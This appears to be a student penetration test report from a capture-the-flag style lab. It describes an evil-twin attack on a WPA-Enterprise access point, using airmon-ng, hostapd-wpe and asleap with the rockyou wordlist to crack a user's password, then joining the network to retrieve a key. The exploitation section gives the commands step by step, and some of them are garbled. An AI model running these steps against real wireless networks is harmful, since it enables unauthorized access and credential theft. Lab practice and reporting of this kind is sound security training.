# Penetration Test Report

Pulkit Sanadhya

December 4, 2019

## Contents

# Executive Summary

## Background

The goal of this exercise is to test the efficiency and security of wireless access points kept in www.m3g4c0rp.com environment.

## Recommendation Summary

The kali attack box will be used for this purpose .

# Technical Report

## Exploitation

Here , we initially typed the command ip a and saw that the interface wlan0 was down so we used the command airmon-ng start wlan0.

Then we used the command airmon-ng check kill to kill all the processes which might interfere.

Then we disable the interface eth0 by using the following command ifdown eth0 .

Now , after typing the command airodump-ng wlan0mon we got to know the channel associated with the access point m3g4c0rp-ddwrt-0 which was found to be channel no 6.

Now , we configured the hostapd config file by using the following command:

```
vim /etc/hostapd-wpe/hostapd-wpe.conf
```

and edited the 802.11 options and changed the following details:

SSID:m3g4c0rp-ddwrt-0 and channel no as 6.
interface:wlan0mon

Now, we used the following command to start up the fake access point:

```
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
```

Now after running this we found the challenge and response values for the username brian. Now , we used the challenge the challenge and response values as an input for asleap and used the following command:

```
zcat /usr/share/wordlists/rockyou.txt asleap -c f4:90:93:8d:10:cf:b1:c7 -R
84:61:f2:9f:c1:e1:5d:0e:7a:9b:50:ca:45:11:e2:0a:5b:9d:94:86:85:92:bb:b8 -W -
```

Now , after running the above command the password for the user brian was found to be swordfish99.

Now , we created a wpa supplicant file by by following the problem statement and connected to the network by running the following command in the directory /etc/dbus-1/system./

wpa$_supplicant - iwlan0mon - c./wpa_supplicant.conf$

Now , we ran the command dhclient wlan0mon

Now, we used ip a and found that the interface wlan0mon had the IP address 192.168.1.119/24 , now we added the default route by using the following command :

```
ip route add default via 192.168.1.1
```

Now, we browsed to the IP address 45.79.141.10 and looked at the source code of the page , we got to know that the the M3g4c0rp hidden pages were located at Corp/messages.txt , so we browsed to the website 45.79.141.10/Corp/message.txt and found the required key 20 as follows:

KEY20:uPPltoxqT1Uuj3jXmPeAuw==

The types of attacks can be mitigated by employing various security practices such as changing default Wi-Fi network names (SSIDs) and passwords, especially for bundled routers provided by service providers, to complex credentials to deter unauthorized access.

## Conclusion

Hence ,we were able to test the efficiency of and security of these wireless access points and were able to find KEY20.